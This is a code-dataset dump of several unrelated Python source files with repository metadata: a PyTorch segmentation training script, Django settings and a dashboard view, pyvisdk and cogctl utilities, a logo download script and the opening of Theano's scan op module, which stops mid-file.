f73c2f35a9443a342845f973b08b1cf07829ed1a | 7,500 | py | Python | src/experiments/simple.py | bathienle/master-thesis-code | 58182f54a56c34fb4a33d67743ca515c80e33657 | [
"Apache-2.0"
] | 2 | 2021-06-22T13:43:40.000Z | 2022-03-01T18:15:32.000Z | src/experiments/simple.py | bathienle/master-thesis-code | 58182f54a56c34fb4a33d67743ca515c80e33657 | [
"Apache-2.0"
] | null | null | null | src/experiments/simple.py | bathienle/master-thesis-code | 58182f54a56c34fb4a33d67743ca515c80e33657 | [
"Apache-2.0"
] | null | null | null | """
Training without inclusion and exclusion map or train with U-Net model
"""
import csv
import numpy as np
import time
import torch
import os
from argparse import ArgumentParser
from torch.optim import Adam
from torch.utils.data import DataLoader
from src import (
NuClick, UNet, TestDataset, Loss, convert_time, str2bool
)
# Check if GPU is available
device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')
def parse_arguments():
"""
Parse the arguments of the program.
Return
------
args : class argparse.Namespace
The parsed arguments.
"""
parser = ArgumentParser(description="Train a model without signal maps.")
# Training parameters
parser.add_argument(
'--shuffle',
type=str2bool,
default=True,
help="Whether to shuffle the training images or not."
)
parser.add_argument(
'--epochs',
type=int,
default=15,
help="Number of epochs to train the model."
)
parser.add_argument(
'--bs',
dest='batch_size',
type=int,
default=16,
help="The batch size for the training"
)
parser.add_argument(
'--lr',
type=float,
default=3e-3,
help="The learning rate of the optimizer."
)
parser.add_argument(
'--wd',
type=float,
default=5e-5,
help="The weight decay of the optimizer."
)
parser.add_argument(
'--model',
default="nuclick",
help="The model to use."
)
# Misc parameters
parser.add_argument(
'--type',
help="The type of object to detect."
)
parser.add_argument(
'--data',
help="Path to the dataset."
)
parser.add_argument(
'--dest',
default='./',
help="The path to save the weights of the model."
)
parser.add_argument(
'--resume',
type=bool,
default=False,
help="Resume the training of the model.")
parser.add_argument(
'--checkpoint',
help="Checkpoint of the state of the training."
)
parser.add_argument(
'--step',
type=int,
default=20,
help="Save a checkpoint every step epoch."
)
parser.add_argument(
'--stat',
dest='stat_path',
default='./statistics.csv',
help="Path to save statistic about training."
)
return parser.parse_args()
def train(model, trainloader, criterion, optimizer, batch_size):
"""
Train the model for one epoch using gradient accumulation technique.
Parameters
----------
model : torch model
The model to train.
trainloader : torch DataLoader
The training dataset.
criterion : torch loss
The loss function.
optimizer : torch optimizer
The optimizer.
batch_size : int
The real batch size.
Return
------
losses : list of float
The losses during the training.
"""
model.train()
losses = []
for index, (inputs, targets) in enumerate(trainloader):
inputs, targets = inputs.to(device), targets.to(device)
predictions = model(inputs)
loss = criterion(predictions, targets)
(loss / batch_size).backward()
losses.append(loss.item() * inputs.size(0))
if (index + 1) % batch_size == 0:
optimizer.step()
optimizer.zero_grad()
return losses
def validate(model, valloader, criterion):
"""
Validate the model for one epoch.
Parameters
----------
model : torch model
The model to train.
valloader : torch DataLoader
The validation dataset.
criterion : torch loss
The loss function.
Return
------
losses : list of float
The losses during the validation.
"""
model.eval()
losses = []
with torch.no_grad():
for inputs, targets in valloader:
inputs, targets = inputs.to(device), targets.to(device)
predictions = model(inputs)
loss = criterion(predictions, targets)
losses.append(loss.item() * inputs.size(0))
return losses
if __name__ == "__main__":
args = parse_arguments()
# Reproducibility
torch.manual_seed(0)
np.random.seed(0)
# Statistics
header = ['epoch', 'train_mean_loss', 'train_std_loss', 'val_mean_loss',
'val_std_loss', 'duration']
if not os.path.exists(args.stat_path):
with open(args.stat_path, 'w', newline='') as file:
writer = csv.DictWriter(file, fieldnames=header)
writer.writeheader()
# Build the training and validation set
train_data = TestDataset(os.path.join(args.data, 'train'))
val_data = TestDataset(os.path.join(args.data, 'val'))
trainloader = DataLoader(train_data, 4, shuffle=args.shuffle)
valloader = DataLoader(val_data, args.batch_size, shuffle=args.shuffle)
if args.model == "nuclick":
model = NuClick(in_channels=3)
elif args.model == "unet":
model = UNet()
model = model.to(device)
optimizer = Adam(model.parameters(), args.lr, weight_decay=args.wd)
criterion = Loss()
# Check if resume the training
if args.resume:
state = torch.load(args.checkpoint, map_location=device)
start_epoch = state['epoch']
model.load_state_dict(state['model_state_dict'])
optimizer.load_state_dict(state['optimizer_state_dict'])
else:
start_epoch = 0
total_time = 0.0
# Training the model
for epoch in range(start_epoch, args.epochs):
start_time = time.time()
# Train the model for one epoch
train_losses = train(
model, trainloader, criterion, optimizer, args.batch_size
)
# Perform the validation test on the model
val_losses = validate(model, valloader, criterion)
# Compute the time taken for one epoch
elapsed_time = time.time() - start_time
minutes, seconds = convert_time(elapsed_time)
total_time += elapsed_time
# Statistics
with open(args.stat_path, 'a', newline='') as file:
csv.writer(file).writerow([
epoch,
np.mean(train_losses),
np.std(train_losses),
np.mean(val_losses),
np.std(val_losses),
f"{minutes:.0f}m{seconds:.0f}s"
])
# Checkpoint save
if epoch % args.step and args.checkpoint:
state = {
'epoch': epoch,
'model_state_dict': model.state_dict(),
'optimizer_state_dict': optimizer.state_dict()
}
torch.save(
state,
os.path.join(args.dest, f'{args.type}_checkpoint.pth')
)
minutes, seconds = convert_time(total_time)
print(f"Training complete in {minutes:.0f}m {seconds:.0f}s")
# Save the trained model
torch.save(
model.state_dict(),
os.path.join(args.dest, f'{args.type}_model.pth')
)
# Save the training state for further training
if args.checkpoint:
state = {
'epoch': epoch,
'model_state_dict': model.state_dict(),
'optimizer_state_dict': optimizer.state_dict()
}
torch.save(
state,
os.path.join(args.dest, f'{args.type}_checkpoint.pth')
)
| 25.510204 | 77 | 0.588 |
import csv
import numpy as np
import time
import torch
import os
from argparse import ArgumentParser
from torch.optim import Adam
from torch.utils.data import DataLoader
from src import (
NuClick, UNet, TestDataset, Loss, convert_time, str2bool
)
device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')
def parse_arguments():
parser = ArgumentParser(description="Train a model without signal maps.")
parser.add_argument(
'--shuffle',
type=str2bool,
default=True,
help="Whether to shuffle the training images or not."
)
parser.add_argument(
'--epochs',
type=int,
default=15,
help="Number of epochs to train the model."
)
parser.add_argument(
'--bs',
dest='batch_size',
type=int,
default=16,
help="The batch size for the training"
)
parser.add_argument(
'--lr',
type=float,
default=3e-3,
help="The learning rate of the optimizer."
)
parser.add_argument(
'--wd',
type=float,
default=5e-5,
help="The weight decay of the optimizer."
)
parser.add_argument(
'--model',
default="nuclick",
help="The model to use."
)
parser.add_argument(
'--type',
help="The type of object to detect."
)
parser.add_argument(
'--data',
help="Path to the dataset."
)
parser.add_argument(
'--dest',
default='./',
help="The path to save the weights of the model."
)
parser.add_argument(
'--resume',
type=bool,
default=False,
help="Resume the training of the model.")
parser.add_argument(
'--checkpoint',
help="Checkpoint of the state of the training."
)
parser.add_argument(
'--step',
type=int,
default=20,
help="Save a checkpoint every step epoch."
)
parser.add_argument(
'--stat',
dest='stat_path',
default='./statistics.csv',
help="Path to save statistic about training."
)
return parser.parse_args()
def train(model, trainloader, criterion, optimizer, batch_size):
model.train()
losses = []
for index, (inputs, targets) in enumerate(trainloader):
inputs, targets = inputs.to(device), targets.to(device)
predictions = model(inputs)
loss = criterion(predictions, targets)
(loss / batch_size).backward()
losses.append(loss.item() * inputs.size(0))
if (index + 1) % batch_size == 0:
optimizer.step()
optimizer.zero_grad()
return losses
def validate(model, valloader, criterion):
model.eval()
losses = []
with torch.no_grad():
for inputs, targets in valloader:
inputs, targets = inputs.to(device), targets.to(device)
predictions = model(inputs)
loss = criterion(predictions, targets)
losses.append(loss.item() * inputs.size(0))
return losses
if __name__ == "__main__":
args = parse_arguments()
torch.manual_seed(0)
np.random.seed(0)
header = ['epoch', 'train_mean_loss', 'train_std_loss', 'val_mean_loss',
'val_std_loss', 'duration']
if not os.path.exists(args.stat_path):
with open(args.stat_path, 'w', newline='') as file:
writer = csv.DictWriter(file, fieldnames=header)
writer.writeheader()
train_data = TestDataset(os.path.join(args.data, 'train'))
val_data = TestDataset(os.path.join(args.data, 'val'))
trainloader = DataLoader(train_data, 4, shuffle=args.shuffle)
valloader = DataLoader(val_data, args.batch_size, shuffle=args.shuffle)
if args.model == "nuclick":
model = NuClick(in_channels=3)
elif args.model == "unet":
model = UNet()
model = model.to(device)
optimizer = Adam(model.parameters(), args.lr, weight_decay=args.wd)
criterion = Loss()
if args.resume:
state = torch.load(args.checkpoint, map_location=device)
start_epoch = state['epoch']
model.load_state_dict(state['model_state_dict'])
optimizer.load_state_dict(state['optimizer_state_dict'])
else:
start_epoch = 0
total_time = 0.0
for epoch in range(start_epoch, args.epochs):
start_time = time.time()
train_losses = train(
model, trainloader, criterion, optimizer, args.batch_size
)
val_losses = validate(model, valloader, criterion)
elapsed_time = time.time() - start_time
minutes, seconds = convert_time(elapsed_time)
total_time += elapsed_time
with open(args.stat_path, 'a', newline='') as file:
csv.writer(file).writerow([
epoch,
np.mean(train_losses),
np.std(train_losses),
np.mean(val_losses),
np.std(val_losses),
f"{minutes:.0f}m{seconds:.0f}s"
])
if epoch % args.step and args.checkpoint:
state = {
'epoch': epoch,
'model_state_dict': model.state_dict(),
'optimizer_state_dict': optimizer.state_dict()
}
torch.save(
state,
os.path.join(args.dest, f'{args.type}_checkpoint.pth')
)
minutes, seconds = convert_time(total_time)
print(f"Training complete in {minutes:.0f}m {seconds:.0f}s")
torch.save(
model.state_dict(),
os.path.join(args.dest, f'{args.type}_model.pth')
)
if args.checkpoint:
state = {
'epoch': epoch,
'model_state_dict': model.state_dict(),
'optimizer_state_dict': optimizer.state_dict()
}
torch.save(
state,
os.path.join(args.dest, f'{args.type}_checkpoint.pth')
)
| true | true |
f73c309e1b8e2cadcebc2584737e88a986a6c579 | 284 | py | Python | omgbadges/settings/development.py | HarishTeens/omg-badges | cd60b6235b24c6a7831a0794cee57b70ecb9bdc8 | [
"Apache-2.0"
] | null | null | null | omgbadges/settings/development.py | HarishTeens/omg-badges | cd60b6235b24c6a7831a0794cee57b70ecb9bdc8 | [
"Apache-2.0"
] | 1 | 2020-11-17T15:17:39.000Z | 2020-11-17T15:17:39.000Z | omgbadges/settings/development.py | HarishTeens/omg-badges | cd60b6235b24c6a7831a0794cee57b70ecb9bdc8 | [
"Apache-2.0"
] | null | null | null | from .base import *
DEBUG = True
ALLOWED_HOSTS = ['localhost','badges.dscnitrourkela.tech']
CORS_ORIGIN_WHITELIST =['http://localhost:8080']
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
} | 21.846154 | 58 | 0.644366 | from .base import *
DEBUG = True
ALLOWED_HOSTS = ['localhost','badges.dscnitrourkela.tech']
CORS_ORIGIN_WHITELIST =['http://localhost:8080']
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
} | true | true |
f73c31d55a91eed1b3a01766992ad440ebbd2837 | 543 | py | Python | apps/hobbygroups/dashboard/views.py | mariusaarsnes/onlineweb4 | 3495321dabfd7a7236e6d841b004e9f855b6f30e | [
"MIT"
] | null | null | null | apps/hobbygroups/dashboard/views.py | mariusaarsnes/onlineweb4 | 3495321dabfd7a7236e6d841b004e9f855b6f30e | [
"MIT"
] | null | null | null | apps/hobbygroups/dashboard/views.py | mariusaarsnes/onlineweb4 | 3495321dabfd7a7236e6d841b004e9f855b6f30e | [
"MIT"
] | null | null | null | from django.contrib.auth.decorators import login_required
from django.core.exceptions import PermissionDenied
from django.shortcuts import render
from guardian.decorators import permission_required
from apps.dashboard.tools import get_base_context, has_access
@login_required
@permission_required('hobbygroups.change_hobby', return_403=True)
def index(request):
if not has_access(request):
raise PermissionDenied
context = get_base_context(request)
return render(request, 'hobbygroups/dashboard/index.html', context)
| 28.578947 | 71 | 0.813996 | from django.contrib.auth.decorators import login_required
from django.core.exceptions import PermissionDenied
from django.shortcuts import render
from guardian.decorators import permission_required
from apps.dashboard.tools import get_base_context, has_access
@login_required
@permission_required('hobbygroups.change_hobby', return_403=True)
def index(request):
if not has_access(request):
raise PermissionDenied
context = get_base_context(request)
return render(request, 'hobbygroups/dashboard/index.html', context)
| true | true |
f73c32342d3f5903a15b85853b5c60ae2bf1c9dd | 1,182 | py | Python | pyvisdk/do/admin_password_not_changed_event.py | Infinidat/pyvisdk | f2f4e5f50da16f659ccc1d84b6a00f397fa997f8 | [
"MIT"
] | null | null | null | pyvisdk/do/admin_password_not_changed_event.py | Infinidat/pyvisdk | f2f4e5f50da16f659ccc1d84b6a00f397fa997f8 | [
"MIT"
] | null | null | null | pyvisdk/do/admin_password_not_changed_event.py | Infinidat/pyvisdk | f2f4e5f50da16f659ccc1d84b6a00f397fa997f8 | [
"MIT"
] | null | null | null |
import logging
from pyvisdk.exceptions import InvalidArgumentError
########################################
# Automatically generated, do not edit.
########################################
log = logging.getLogger(__name__)
def AdminPasswordNotChangedEvent(vim, *args, **kwargs):
'''Default password for the Admin user on the host has not been changed.'''
obj = vim.client.factory.create('{urn:vim25}AdminPasswordNotChangedEvent')
# do some validation checking...
if (len(args) + len(kwargs)) < 4:
raise IndexError('Expected at least 5 arguments got: %d' % len(args))
required = [ 'chainId', 'createdTime', 'key', 'userName' ]
optional = [ 'changeTag', 'computeResource', 'datacenter', 'ds', 'dvs',
'fullFormattedMessage', 'host', 'net', 'vm', 'dynamicProperty', 'dynamicType' ]
for name, arg in zip(required+optional, args):
setattr(obj, name, arg)
for name, value in kwargs.items():
if name in required + optional:
setattr(obj, name, value)
else:
raise InvalidArgumentError("Invalid argument: %s. Expected one of %s" % (name, ", ".join(required + optional)))
return obj
| 34.764706 | 124 | 0.612521 |
import logging
from pyvisdk.exceptions import InvalidArgumentError
| true | true |
f73c3274922d2e2f82105412ce9fa01d7035e3e1 | 3,836 | py | Python | cogctl/cli/config.py | operable/cogctl | bec66471189376e0c33be88edb68f3af8797fc8c | [
"Apache-2.0"
] | 3 | 2016-05-09T23:14:47.000Z | 2017-01-15T20:41:25.000Z | cogctl/cli/config.py | operable/cogctl | bec66471189376e0c33be88edb68f3af8797fc8c | [
"Apache-2.0"
] | 59 | 2016-03-10T20:53:04.000Z | 2021-09-03T17:26:02.000Z | cogctl/cli/config.py | operable/cogctl | bec66471189376e0c33be88edb68f3af8797fc8c | [
"Apache-2.0"
] | 7 | 2016-03-09T21:43:33.000Z | 2019-01-24T15:44:06.000Z | import copy
import os
from configobj import ConfigObj
from collections import OrderedDict
class CogctlConfig():
def __init__(self, filename):
self.filename = filename
if os.path.isfile(filename):
# If the file exists it should be valid, so just try to
# get the default profile name and the default profile
self._config = ConfigObj(filename)
self.default()
else:
self._config = ConfigObj()
def profile(self, profile):
"""
Raises KeyError if no such profile exists
"""
# Without copying, we're modifying the in-memory
# representation of the config file
p = copy.deepcopy(self._config[profile])
return CogctlConfig._normalize_entry(p)
def default_profile_name(self):
return self._config['defaults']['profile']
def default(self):
return self.profile(self.default_profile_name())
def add(self, profile_name, profile):
# NOTE: Doesn't do any kind of normalization or converting
# back to our legacy format... absent any other work, this
# will result in a mixture of old and new formats for each
# entry.
if 'defaults' not in self._config:
self._config['defaults'] = {'profile': profile_name}
# Controlling the ordering of keys in the new profile makes
# for deterministic testing when we write out new entries.
ordered = OrderedDict()
for k in sorted(profile.keys()):
ordered[k] = profile[k]
self._config[profile_name] = ordered
def set_default(self, profile_name):
""" Update the default profile. Raise KeyError if no such profile exists
"""
if profile_name not in self.profiles():
raise KeyError("Profile does not exist")
self._config['defaults']['profile'] = profile_name
def write(self):
# We manage the writing ourselves, because the object may have
# been initialized with a file that does not exist. Using
# ConfigObj's create_empty=True keyword makes things
# complicated because it creates the empty file at object
# creation time, not write time, which means we could be
# creating empty (and thus invalid) configuration files.
with open(self.filename, "wb") as f:
self._config.write(f)
def profiles(self):
""" Return a sorted list of profiles present."""
return sorted([p for p in self._config.keys()
if p != "defaults"])
def update_profile(self, profile_name):
"""Updates an old secure/host/port profile to a modern url-based one.
"""
p = self.profile(profile_name)
ordered = OrderedDict()
for k in sorted(p.keys()):
ordered[k] = p[k]
self._config[profile_name] = ordered
@staticmethod
def _normalize_entry(entry):
"""Consolidates url information into a single value.
Our old (Elixir implementation) INI-based configuration
sections split up the Cog API root URL information across
three different options:
* "secure": a Boolean indicating whether or not to use HTTPS
* "host"
* "port"
Here, we consolidate all these values into a single "url" value,
place it into the entry, and remove the now-unneeded options that
comprise it.
"""
if entry.get("url"):
# Consider it already normalized
return entry
if entry.pop("secure") == "true":
protocol = "https"
else:
protocol = "http"
host = entry.pop("host")
port = entry.pop("port")
entry["url"] = "%s://%s:%s" % (protocol, host, port)
return entry
| 32.786325 | 80 | 0.612878 | import copy
import os
from configobj import ConfigObj
from collections import OrderedDict
class CogctlConfig():
def __init__(self, filename):
self.filename = filename
if os.path.isfile(filename):
self._config = ConfigObj(filename)
self.default()
else:
self._config = ConfigObj()
def profile(self, profile):
# representation of the config file
p = copy.deepcopy(self._config[profile])
return CogctlConfig._normalize_entry(p)
def default_profile_name(self):
return self._config['defaults']['profile']
def default(self):
return self.profile(self.default_profile_name())
def add(self, profile_name, profile):
# NOTE: Doesn't do any kind of normalization or converting
if 'defaults' not in self._config:
self._config['defaults'] = {'profile': profile_name}
ordered = OrderedDict()
for k in sorted(profile.keys()):
ordered[k] = profile[k]
self._config[profile_name] = ordered
def set_default(self, profile_name):
if profile_name not in self.profiles():
raise KeyError("Profile does not exist")
self._config['defaults']['profile'] = profile_name
def write(self):
# complicated because it creates the empty file at object
# creation time, not write time, which means we could be
# creating empty (and thus invalid) configuration files.
with open(self.filename, "wb") as f:
self._config.write(f)
def profiles(self):
return sorted([p for p in self._config.keys()
if p != "defaults"])
def update_profile(self, profile_name):
p = self.profile(profile_name)
ordered = OrderedDict()
for k in sorted(p.keys()):
ordered[k] = p[k]
self._config[profile_name] = ordered
@staticmethod
def _normalize_entry(entry):
if entry.get("url"):
# Consider it already normalized
return entry
if entry.pop("secure") == "true":
protocol = "https"
else:
protocol = "http"
host = entry.pop("host")
port = entry.pop("port")
entry["url"] = "%s://%s:%s" % (protocol, host, port)
return entry
| true | true |
f73c32b7864bcc1001bb8cd8e5c1ff898038afc5 | 133 | py | Python | pythonCrawler/picture_down.py | eatmore/python_practice | c6a773c8d24182b23a86fd9b66b27b5ff948b258 | [
"MIT"
] | null | null | null | pythonCrawler/picture_down.py | eatmore/python_practice | c6a773c8d24182b23a86fd9b66b27b5ff948b258 | [
"MIT"
] | null | null | null | pythonCrawler/picture_down.py | eatmore/python_practice | c6a773c8d24182b23a86fd9b66b27b5ff948b258 | [
"MIT"
] | 1 | 2020-03-12T06:05:38.000Z | 2020-03-12T06:05:38.000Z | import requests
r = requests.get('https://www.baidu.com/img/bd_logo1.png')
with open('bd_log.png', 'wb') as f:
f.write(r.content) | 33.25 | 58 | 0.691729 | import requests
r = requests.get('https://www.baidu.com/img/bd_logo1.png')
with open('bd_log.png', 'wb') as f:
f.write(r.content) | true | true |
f73c32c1edb07c2b7951c6664be2501423156cce | 118,194 | py | Python | theano/scan_module/scan_op.py | jych/Theano | d7d722faa96aac95c19f460bf60e8e8654ff58df | [
"BSD-3-Clause"
] | 1 | 2021-07-01T02:51:08.000Z | 2021-07-01T02:51:08.000Z | theano/scan_module/scan_op.py | mayunpeng/Theano | c74da33de3768e231ffa0d92d9d11667a2a5aedb | [
"BSD-3-Clause"
] | null | null | null | theano/scan_module/scan_op.py | mayunpeng/Theano | c74da33de3768e231ffa0d92d9d11667a2a5aedb | [
"BSD-3-Clause"
] | null | null | null | """
This module provides the Scan Op
See scan.py for details on scan
Memory reuse in scan
--------------------
To reduce the number of memory allocations and copies associated with calling
the inner function and recovering the outputs at every iteration, Scan uses a
memory pre-allocation mechanism for some of its outputs. Instead of repeatedly
calling the inner function and copying the outputs to designated locations,
it tries to make the inner function write the outputs directly to the
designated locations.
This is achieved by initializing, at every iteration, the output storage
of the inner function with references to previously allocated memory. Other
than the code in the Python and Cython backends to do this and to ensure that
the pre-allocated memory has been used, the memory pre-allocation mechanism
relies on the following elements to work properly :
- In make_thunk(), when compiling the inner function, the borrow flag must
be set to False for the inputs. This will prevent aliasing between the
inputs and the outputs of the inner function which could lead to invalid
results.
- In make_thunk(), again, the borrow flag must be set to True for the outputs.
This will make Theano consider the output storages as persistent and make
Theano provide them as pre-allocated storage to the ops that compute the
outputs of the inner function instead of letting these ops allocate their
own output storage.
- The ops that produce the outputs of the inner function must be prevented
from working inplace because if they do, they're not using the pre-allocated
storage. This is achieved by including the optimization
'add_no_output_from_inplace' to the compilation mode used by scan. It
prevents other optimizations from altering the graph such that outputs are
produced by inplace operations.
- The ScanSaveMem optimization, whose goal is to limit the amount of memory
used by scan, needs to allocate buffers large enough to be able, at every
iteration, to simultaneously read the needed previous states and storing
the new states. Before the memory reuse feature, the buffers could be
smaller because, often, Scan only needed buffers large enough to read the
needed previous states. This is because all the outputs of the inner
function were computed before any of them was stored in the buffers. Now,
the outputs are stored as they are computed which means that, if the buffer
is too small, computing an output can overwrite an input that is still
needed to compute another output.
"""
from __future__ import print_function
__docformat__ = 'restructedtext en'
__authors__ = ("Razvan Pascanu "
"Frederic Bastien "
"James Bergstra "
"Pascal Lamblin ")
__copyright__ = "(c) 2010, Universite de Montreal"
__contact__ = "Razvan Pascanu <r.pascanu@gmail>"
import itertools
import logging
import time
import numpy
from six import iteritems
from six.moves import xrange
import theano
from theano.compat import exc_message
from theano.compile import function, Param, Out
from theano import compile, config, gradient, gof, tensor
from theano.gof import PureOp, Apply
from theano.gof.graph import io_connection_pattern
from theano.compat import OrderedDict, izip
from theano.tensor import TensorType
from theano.tensor.opt import Shape_i
from theano.gradient import grad_undefined, DisconnectedType, NullType
from six import string_types
from theano.compile.profiling import ScanProfileStats
from theano.scan_module import scan_utils
from theano.scan_module.scan_utils import safe_new, forced_replace
# Logging function for sending warning or info
_logger = logging.getLogger('theano.scan_module.scan_op')
from theano.configparser import AddConfigVar, BoolParam
AddConfigVar('scan.allow_gc',
"Allow/disallow gc inside of Scan (default: False)",
BoolParam(False))
AddConfigVar('scan.allow_output_prealloc',
"Allow/disallow memory preallocation for outputs inside of scan "
"(default: True)",
BoolParam(True))
class Scan(PureOp):
def __init__(self,
inputs,
outputs,
info,
typeConstructor=None,
):
"""
:param inputs: inputs of the inner function of scan
:param outputs: outputs of the inner function of scan
:param info: dictionary containing different properties of
the scan op (like number of different types of
arguments, name, mode, if it should run on GPU or
not, etc.)
:param typeConstructor: function that constructs an equivalent
to Theano TensorType
Note: ``typeConstructor`` had been added to refactor how
Theano deals with the GPU. If it runs on the GPU, scan needs
to construct certain outputs (those who reside in the GPU
memory) as the GPU-specific type. However we can not import
gpu code in this file (as it is in sandbox, and not available
on each machine) so the workaround is that the GPU
optimization passes to the constructor of this class a
function that is able to construct a GPU type. This way the
class Scan does not need to be aware of the details for the
GPU, it just constructs any tensor using this function (which
by default constructs normal tensors).
"""
if 'gpua' not in info:
info['gpua'] = False
# adding properties into self
self.inputs = inputs
self.outputs = outputs
self.__dict__.update(info)
# I keep a version of info in self, to use in __eq__ and __hash__,
# since info contains all tunable parameters of the op, so for two
# scan to be equal this tunable parameters should be the same
self.info = info
# build a list of output types for any Apply node using this op.
self.output_types = []
idx = 0
jdx = 0
tensorConstructor = lambda broadcastable, dtype: TensorType(
broadcastable=broadcastable, dtype=dtype)
if typeConstructor is None:
typeConstructor = tensorConstructor
while idx < self.n_mit_mot_outs:
# Not that for mit_mot there are several output slices per
# output sequence
o = outputs[idx]
self.output_types.append(
typeConstructor(
broadcastable=(False,) + o.type.broadcastable,
dtype=o.type.dtype))
idx += len(self.mit_mot_out_slices[jdx])
jdx += 1
# mit_sot / sit_sot / nit_sot
end = idx + self.n_mit_sot + self.n_sit_sot + self.n_nit_sot
for o in outputs[idx:end]:
self.output_types.append(
typeConstructor(
broadcastable=(False,) + o.type.broadcastable,
dtype=o.type.dtype))
# shared outputs + possibly the ending condition
for o in outputs[end:]:
self.output_types.append(o.type)
if self.as_while:
self.output_types = self.output_types[:-1]
mode_instance = compile.mode.get_mode(self.mode)
# Clone mode_instance, altering "allow_gc" for the linker,
# and adding a message if the mode is a ProfileMode.
if self.name:
message = self.name + " sub profile"
else:
message = "Scan sub profile"
self.mode_instance = mode_instance.clone(
link_kwargs=dict(allow_gc=self.allow_gc),
message=message)
# Now that scan has its mode instance, if memory pre-allocation is
# activated for the outputs, we activate the optimization
# add_no_output_from_inplace in this mode instance. This will prevent
# Scan from producing outputs by means of inplace operations and
# therefore allow it to pre-allocate memory storage for the outputs,
# avoiding needless copies.
if theano.config.scan.allow_output_prealloc:
self.mode_instance = self.mode_instance.including(
"add_no_output_from_inplace")
if not hasattr(self, 'name') or self.name is None:
self.name = 'scan_fn'
# to have a fair __eq__ comparison later on, we update the info with
# the actual mode used to compile the function and the name of the
# function that we set in case none was given
self.info['name'] = self.name
# Pre-computing some values to speed up perform
self.mintaps = [numpy.min(x) for x in self.tap_array]
self.mintaps += [0 for x in xrange(self.n_nit_sot)]
self.seqs_arg_offset = 1 + self.n_seqs
self.shared_arg_offset = (self.seqs_arg_offset +
self.n_mit_mot +
self.n_mit_sot +
self.n_sit_sot)
self.nit_sot_arg_offset = (self.shared_arg_offset +
self.n_shared_outs)
self.n_outs = self.n_mit_mot + self.n_mit_sot + self.n_sit_sot
self.n_tap_outs = self.n_mit_mot + self.n_mit_sot
if self.info['gpu'] or self.info['gpua']:
self._hash_inner_graph = self.info['gpu_hash']
else:
tmp_in, tmp_out = scan_utils.reconstruct_graph(self.inputs,
self.outputs)
local_fgraph = gof.FunctionGraph(tmp_in, tmp_out, clone=False)
self._cmodule_key = gof.CLinker().cmodule_key_(local_fgraph, [])
self._hash_inner_graph = hash(self._cmodule_key)
# Compute mappings between outer inputs, outer outputs, inner
# inputs and inner outputs to determine with variables are associated
# with the same states.
self.var_mappings = self.get_oinp_iinp_iout_oout_mappings()
def validate_inner_graph(self):
""" Perform some elementary validations on the inner graph to ensure
that it is coherent.
"""
# For every recurrent output, iterate over the associated inner
# inputs and output and ensure that they have the same dtype
nb_recurr_outputs = self.n_mit_mot + self.n_mit_sot + self.n_sit_sot
for outer_oidx in xrange(nb_recurr_outputs):
inner_iidxs = self.var_mappings['inner_inp_from_outer_out'][outer_oidx]
inner_oidxs = self.var_mappings['inner_out_from_outer_out'][outer_oidx]
for (inner_iidx, inner_oidx) in itertools.product(inner_iidxs,
inner_oidxs):
type_input = self.inputs[inner_iidx].type
type_output = self.outputs[inner_oidx].type
if (type_input != type_output):
raise TypeError("Inconsistency in the inner graph of "
"scan '%s' : an input and an output are "
"associated with the same recurrent state "
"and should have the same type but have "
"type '%s' and '%s' respectively." %
(self.name, type_input, type_output))
# If scan has the flag 'gpu' set to false (meaning that is shouldn't
# use the CUDA gpu backend ), ensure that is has no input and no
# output with type CudaNdarrayType
from theano.sandbox.cuda import CudaNdarrayType
if not self.info.get("gpu", False):
for inp in self.inputs:
if isinstance(inp.type, CudaNdarrayType):
raise TypeError("Inconsistency in the inner graph of "
"scan '%s' : one of the inputs to the "
"inner graph is of type CudaNdarray but "
"the attributes of the scan op indicate "
"that it shouldn't be the case")
for out in self.outputs:
if isinstance(out.type, CudaNdarrayType):
raise TypeError("Inconsistency in the inner graph of "
"scan '%s' : one of the outputs to the "
"inner graph is of type CudaNdarray but "
"the attributes of the scan op indicate "
"that it shouldn't be the case")
# If scan has the flag 'gpua' set to false (meaning that is shouldn't
# use the gpuarray gpu backend ), ensure that is has no input and no
# output with type GpuArrayType
from theano.sandbox.gpuarray import GpuArrayType
if not self.info.get("gpua", False):
for inp in self.inputs:
if isinstance(inp.type, GpuArrayType):
raise TypeError("Inconsistency in the inner graph of "
"scan '%s' : one of the inputs to the "
"inner graph is of type GpuArrayType but "
"the attributes of the scan op indicate "
"that it shouldn't be the case")
for out in self.outputs:
if isinstance(out.type, GpuArrayType):
raise TypeError("Inconsistency in the inner graph of "
"scan '%s' : one of the outputs to the "
"inner graph is of type GpuArrayType but "
"the attributes of the scan op indicate "
"that it shouldn't be the case")
def __setstate__(self, d):
self.__dict__.update(d)
if "allow_gc" not in self.__dict__:
self.allow_gc = True
self.info['allow_gc'] = True
if not hasattr(self, 'gpua'):
self.gpua = False
self.info['gpua'] = False
if not hasattr(self, 'var_mappings'):
# Generate the mappings between inner and outer inputs and outputs
# if they haven't already been generated.
self.var_mappings = self.get_oinp_iinp_iout_oout_mappings()
# Ensure that the graph associated with the inner function is valid.
self.validate_inner_graph()
def make_node(self, *inputs):
"""
Conventions:
inner_X - the variable corresponding to X in the inner function
of scan (the lambda function executed at every time
step)
outer_X - the variable corresponding to X in the outer graph,
i.e. the main graph (where the scan op lives)
inner_X_out - the variable representing the new value of X after
executing one step of scan (i.e. outputs given by
the inner function)
"""
assert numpy.all(isinstance(i, gof.Variable) for i in inputs)
# Check that the number of inputs to the Scan node corresponds to
# the number of inputs of the inner function of scan
n_outer_ins = len(inputs) - len(self.outer_nitsot(inputs)) - 1
n_inner_ins = (len(self.inner_seqs(self.inputs)) +
len(self.mitmot_taps()) +
len(self.mitsot_taps()) +
len(self.inner_sitsot(self.inputs)) +
len(self.inner_shared(self.inputs)) +
len(self.inner_non_seqs(self.inputs)))
assert n_outer_ins == n_inner_ins, \
("The number of inputs given to the inner function of scan"
" does not match the number of inputs given to scan.")
new_inputs = [inputs[0]]
# assert dtype is consistent
err_msg1 = ('When compiling the inner function of scan (the '
'function called by scan in each of its iterations) '
'the following error has been encountered: The '
'%s %s (argument number %d) has dtype '
'%s and %d dimension(s). The corresponding variable '
'in the inner function of scan %s '
'however has dtype %s and %d dimension(s). This '
'variable in the inner function of scan should '
'have the same dtype and one fewer dimension '
'compared to its corresponding variable in the initial '
'state (outputs_info in scan nomenclature). For example, '
'if the inner function of scan returns a vector '
